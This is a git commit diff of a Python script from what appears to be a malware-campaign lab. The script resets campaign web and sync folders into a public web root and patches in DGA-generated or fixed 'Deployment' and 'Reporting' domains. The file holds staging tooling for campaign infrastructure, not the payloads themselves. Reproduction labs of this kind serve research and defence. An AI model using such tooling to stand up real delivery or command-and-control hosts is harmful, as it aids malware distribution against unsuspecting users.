This commit is contained in:
hashbro
2026-08-05 04:04:06 +08:00
parent 7f35e04634
commit d4fb538997
94 changed files with 921 additions and 135 deletions
+37 -14
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3
"""Reset lab-root web/ + sync/ from source/, then patch_all --apply (new DGA seeds/domains)."""
"""Reset server/public web/ + sync/ from source/, then patch_all --apply."""
from __future__ import annotations
@@ -12,6 +12,7 @@ from pathlib import Path
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
APPLY_ROOT = LAB_ROOT / "server" / "public"
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
@@ -29,8 +30,8 @@ def replace_tree(src: Path, dst: Path) -> None:
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Copy source/web + source/sync to coruna-lab root, then run "
"patch_all.py --apply --root <lab-root> (fresh Deployment/Reporting domains)."
"Copy source/web + source/sync to server/public, then run "
"patch_all.py --apply --root server/public."
)
)
parser.add_argument(
@@ -41,20 +42,35 @@ def main() -> int:
"--reporting-seed",
help="optional; forwarded to patch_all (default: random)",
)
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
help="fixed Deployment hosts (comma-separated or repeatable)",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
help="fixed Reporting hosts (comma-separated or repeatable)",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates to print per pool (default 5)",
help="DGA candidates to print when not using fixed domains (default 5)",
)
parser.add_argument(
"--skip-patch",
action="store_true",
help="only copy source trees to lab root; do not run patch_all",
help="only copy source trees to server/public; do not run patch_all",
)
args = parser.parse_args()
if bool(args.deployment_domains) != bool(args.reporting_domains):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
src_web = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync"
if not (src_web / CAMPAIGN_HASH).is_dir():
@@ -62,12 +78,13 @@ def main() -> int:
if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}")
dst_web = LAB_ROOT / "web"
dst_sync = LAB_ROOT / "sync"
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
dst_web = APPLY_ROOT / "web"
dst_sync = APPLY_ROOT / "sync"
print("=== reset lab root from source ===")
print("=== reset server/public from source ===")
print(f"from: {SOURCE_ROOT}")
print(f"to: {LAB_ROOT}/{{web,sync}}")
print(f"to: {APPLY_ROOT}/{{web,sync}}")
replace_tree(src_web, dst_web)
replace_tree(src_sync, dst_sync)
print(f"copied web/ ({CAMPAIGN_HASH}) + sync/")
@@ -81,7 +98,7 @@ def main() -> int:
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(LAB_ROOT),
str(APPLY_ROOT),
"-n",
str(args.count),
]
@@ -89,21 +106,27 @@ def main() -> int:
cmd += ["--deployment-seed", args.deployment_seed]
if args.reporting_seed:
cmd += ["--reporting-seed", args.reporting_seed]
for item in args.deployment_domains:
cmd += ["--deployment-domains", item]
for item in args.reporting_domains:
cmd += ["--reporting-domains", item]
print()
print("=== patch_all --apply ===")
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
out_root = APPLY_ROOT / "out"
print()
print("=== ready ===")
print(f"web: {dst_web / CAMPAIGN_HASH}")
print(f"sync: {dst_sync}")
print(f"seeds: {LAB_ROOT / 'out' / 'seeds.json'}")
print(f"domains: {LAB_ROOT / 'out' / 'domains.json'}")
print(f"seeds: {out_root / 'seeds.json'}")
print(f"domains: {out_root / 'domains.json'}")
print()
print("serve example:")
print(f" cd {LAB_ROOT} && python3 -m http.server 8765 --bind 0.0.0.0")
print("served by Laravel public:")
print(f" /web/{CAMPAIGN_HASH}/support.html")
print(" /sync/daily.html")
return 0